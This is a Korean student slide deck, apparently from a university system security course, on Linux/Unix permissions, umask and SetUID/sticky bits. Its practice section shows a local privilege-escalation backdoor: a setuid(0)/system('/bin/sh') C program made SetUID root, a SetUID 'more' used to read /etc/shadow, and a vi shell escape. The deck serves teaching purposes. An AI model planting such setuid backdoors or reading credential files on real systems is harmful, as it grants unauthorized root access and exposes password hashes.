24
시시시 시시 SetUID 20072201 시시시 20092235 시시시

시스템 보안 SetUID

  • Upload
    howell

  • View
    119

  • Download
    2

Embed Size (px)

DESCRIPTION

시스템 보안 SetUID. 20072201 구창민 20092235 조기웅. 목차. 1. 리눅스 / 유닉스의 접근제어 2. 리눅스 / 유닉스의 접근제어의 설정 3.setUid 4. 실습. 1. 리눅스 / 유닉스의 접근제어 ( 유닉스의 디렉토리 정보 ). 1 2 3 4 5 6 7 1. 파일에 대한 접근 권한을 표현 2. 해당파일에 링크 되어 있는 파일의 개수를 표시 3. 해당 파일을 생성한 계정이다 . 4. 해당 파일을 생성한 그룹이다 . - PowerPoint PPT Presentation

Citation preview

Page 1: 시스템 보안  SetUID

시스템 보안 SetUID

20072201 구창민20092235 조기웅

Page 2: 시스템 보안  SetUID

목차

1. 리눅스 /유닉스의 접근제어 2. 리눅스 /유닉스의 접근제어의 설정3.setUid4. 실습

Page 3: 시스템 보안  SetUID

1. 리눅스 /유닉스의 접근제어( 유닉스의 디렉토리 정보 )

1 2 3 4 5 6 71. 파일에 대한 접근 권한을 표현2. 해당파일에 링크 되어 있는 파일의 개수를 표시3. 해당 파일을 생성한 계정이다 .4. 해당 파일을 생성한 그룹이다 .5. 파일의 크기를 의미6. 파일의 생성 날짜및 최종 수정날짜를 의미 7. 파일 이름입니다 .

Page 4: 시스템 보안  SetUID

1. 리눅스 /유닉스의 접근제어( 파일의 종류에 대한 속성 케릭터 )

파일 속성 내용

d 디렉토리 파일

- Regulae File, 일반 정규 파일

l Symbolic Link, 링크되어 있는 파일

c 버퍼에 저장되지 않는 특수 파일

b 버퍼링된 특수 파일

s 소켓기능을 하는 파일

p 파이프 기능을 수행하는 파일

Page 5: 시스템 보안  SetUID

파일의 접근 권한을 표현1.rwx=r( 읽기 .read),w( 쓰기 .write),( 실행 .execute)2. 숫자 표기법 1)r:4(2 진수로 100) 2)w:2(2 진수로 10) 3)x:1(2 진수로 1)위에 숫자 표기법처럼 rwx 는 각각의 숫자 r(4)+w(2)+x(1) 를 더한 수 ‘ 7(2

진수로 111)’ 로 읽는다 .3.rwxrwxrwx 의 경우에는 파일의 소유자 , 그룹 , 기타등이 읽고 , 쓰고

실행가능하다 .(777 로 읽음 )/etc/rc.d/init.d 디렉토리의 경우 접근권한이 ‘ rwxr-xr-x’ 이므로 접근권한을 755 라고 읽는다 .파일의 소유자 , 그룹 , 기타등은 모두 파일을 읽고 실행할수 있지만 파일에

쓰거나 변경할수 있는 이는 파일의 소유자만 할수 있다 .

Page 6: 시스템 보안  SetUID

2. 리눅스 /유닉스의 접근제어 설정

1. 파일 및 디렉토리 생성 시 기본 권한Touch a.txt,mkdir a,ls –al

시스템은 기본적으로 디렉토리는 755 의 권한으로 파일은 644 의 권한으로 생성한다 .

Page 7: 시스템 보안  SetUID

2. 리눅스 /유닉스의 접근제어 설정

vi/etc/bashrc

Umask 값에 따라 기본 권한 설정이 결정되는데 , 파일의 경우에는 기본 생성 최고 권한이 666 이며 , 디렉토리의 경우에는 777 이다 . 디렉토리가 777 인 이유는 디렉토리에 실행권한(x) 이 없으면 , 디렉토리가 안으로 들어갈수 없기 때문이다 . 또한 기본권한은 최고 권한에서Umask 값을 빼준 값이 된다 . 즉 , 위에서 확인한 바와 같이 파일의 경우에는 666 에서 022

를뺀값인 644 가 기본 생성 권한이며 , 디렉토리는 777 에서 022 를 뺀 755 가 기본 권한이

다 .따라서 이 umask 값을 변경해주면 기본 생성 권한 역시 바뀐다 . 예를 들어 ,umask 값이 027 이 되면 파일은 640(666-027) 이 되며 , 디렉토리는 750(777-027) 이 된다 .

Page 8: 시스템 보안  SetUID

2. 리눅스 /유닉스의 접근제어 설정

파일 및 디렉토리 권한 변경Touch c.txt , ls –al c.txt , chmod 777 c.txt , ls –al

c.txt

생성되어 있는 파일에 대한 권한설정은 ‘ chmod’ 명령을 이용‘touch’ 명령으로 ‘ c.txt’ 를 생성하면 기본 권한이 640 으로 설정

Page 9: 시스템 보안  SetUID

2. 리눅스 /유닉스의 접근제어 설정

사용자 계정설정adduser wishfree 1cd/homels –l

Page 10: 시스템 보안  SetUID

2. 리눅스 /유닉스의 접근제어 설정

• 파일의 소유및 그룹 chown wishfree c.txt( 소유자 변경 )

charp wishfree c.txt( 그룹 변경 )

Page 11: 시스템 보안  SetUID

3.SetUID • 필요성 : 프로세스가 사용자보다 높은 수준의 접근을

요구할때 파일 접근 제한 때문에 원할한 기능을 제공 할수 없기 때문에 이를 해결 하기 위한 방법

Root 권한만 사람만이 할수 있는것을 일반사용자에게 사용할수 있게 하는것Ex)passwd 명령을 사용하면 모든사용자에게 관리자와 같은 권한을 가짐• 정의 : 프로세스가 실행되는 동안 권한을 임시로 가지는 것 .• 종류 :RUID,EGID(Root 의 UID,EUID 는 0 으로 시작 ,

사용자계정의 UID,EUID 는 500 으로 시작합니다 .

Page 12: 시스템 보안  SetUID

3.setUID

• setUID,SetGID, 스틱키 비트 표현 방법setUID,setGID, 스틱키 비트도 숫자로 표현하는데 값은 4000,2000,1000 이다 .4755 권한이 있는 파일이 있다면 어떻게 표현 할까 ?이 경우에는 ‘ rwsr-xr-x 를 말한다 . 소유자 권한에 ‘ x’ 가 있을 자리에

‘ s’ 가적혀있다 .SetGID 는 그룹의 ‘ x’ 자리를 ‘ s’ 로 바꾸어 쓰고 , 스틱키

비트는 기타 등등에 대한 실행비트인 ‘ x’ 대신에 ‘ t’ 문자를 사용한다 . 따라서

7777의 권한은 ‘ rwsrwstwt’ 다 .• SetUID 의 사용 예시 is –al /usr/bin/passwd

Page 13: 시스템 보안  SetUID

3.SetUID

• 동작원리

Page 14: 시스템 보안  SetUID

3.setuid

• 취약점• 평소에 설정되어있는 UID,GID 는 RUID(Real

UID), RGID(Real GID) 이며 어떤 사용자가 SetUID 가 걸려있는 파일을 실행하게 되면

• 그 사용자의 프로세스 권한을 나타내는 EUID(Effective UID), EGID(Effective GID) 가 root 로 변한다 .

• 이 점은 많은 취약점을 가지고 있는 것이 단점이다

Page 15: 시스템 보안  SetUID

3.SetUID

• 스틱키 비트의 동작

• 파일에 주어지는 권한이 아님• 디렉토리에만 주어지며 스틱키 부여된 디렉토리에 있는파일은 접근권한이 상관없이 파일의 소유자와 관리자 만이파일을 삭제할수 있다 .Ex)tmp 디렉토리

Page 16: 시스템 보안  SetUID

4. 실습

• SetUID 를 이용한 해킹• SetUID 비트를 가진 셀의 생성원본의 bash 셸을 /tmp 디렉토리에 복사하여 4755 권한을 주었다 .SetUID 비트가 주어진 bash 셸 프로그램은 프로세스가 살아있는

소유자인 root 권한으로 실행cp/bin/bash/tmp/bash chmod 4755 bash

Page 17: 시스템 보안  SetUID

• 일반 사용자 계정으로 SetUID 비트가 주어진 셸 실행 권한 획득 실패

앞에서 SetUID 비트를 부여한 셸을 일반 사용자 계정으로 실행했다 .실행전과 다름없는 UID 와 GID 를 가지고 있는 것을 확인./bash

Page 18: 시스템 보안  SetUID

• 보안 설정 트릭사용• #include<stdio.h>Main(){ setuid(0); setgid(0); system(“/bin/sh”);

Page 19: 시스템 보안  SetUID

• Backdoor.c 생성

• Backdoor.c 컴파일

Page 20: 시스템 보안  SetUID

• 컴파일한 bash 셸 파일의 권한 변경Chmod 4755 bash

• 셸 실행을 통한 관리자 권한 획득 ./bash

Page 21: 시스템 보안  SetUID

• More 명령어를 사용하여 사용자 권한 획득Chmod 4755 more

Id more /etc/shadow

Page 22: 시스템 보안  SetUID

• Vi 를 이용한 해킹#include<stdio.h>Main(){ setuid(0); setgid(0); system(“/bin/vi”);}:!/bin/sh

Page 23: 시스템 보안  SetUID

• ./backdoor

Page 24: 시스템 보안  SetUID

• 수고 하였습니다 .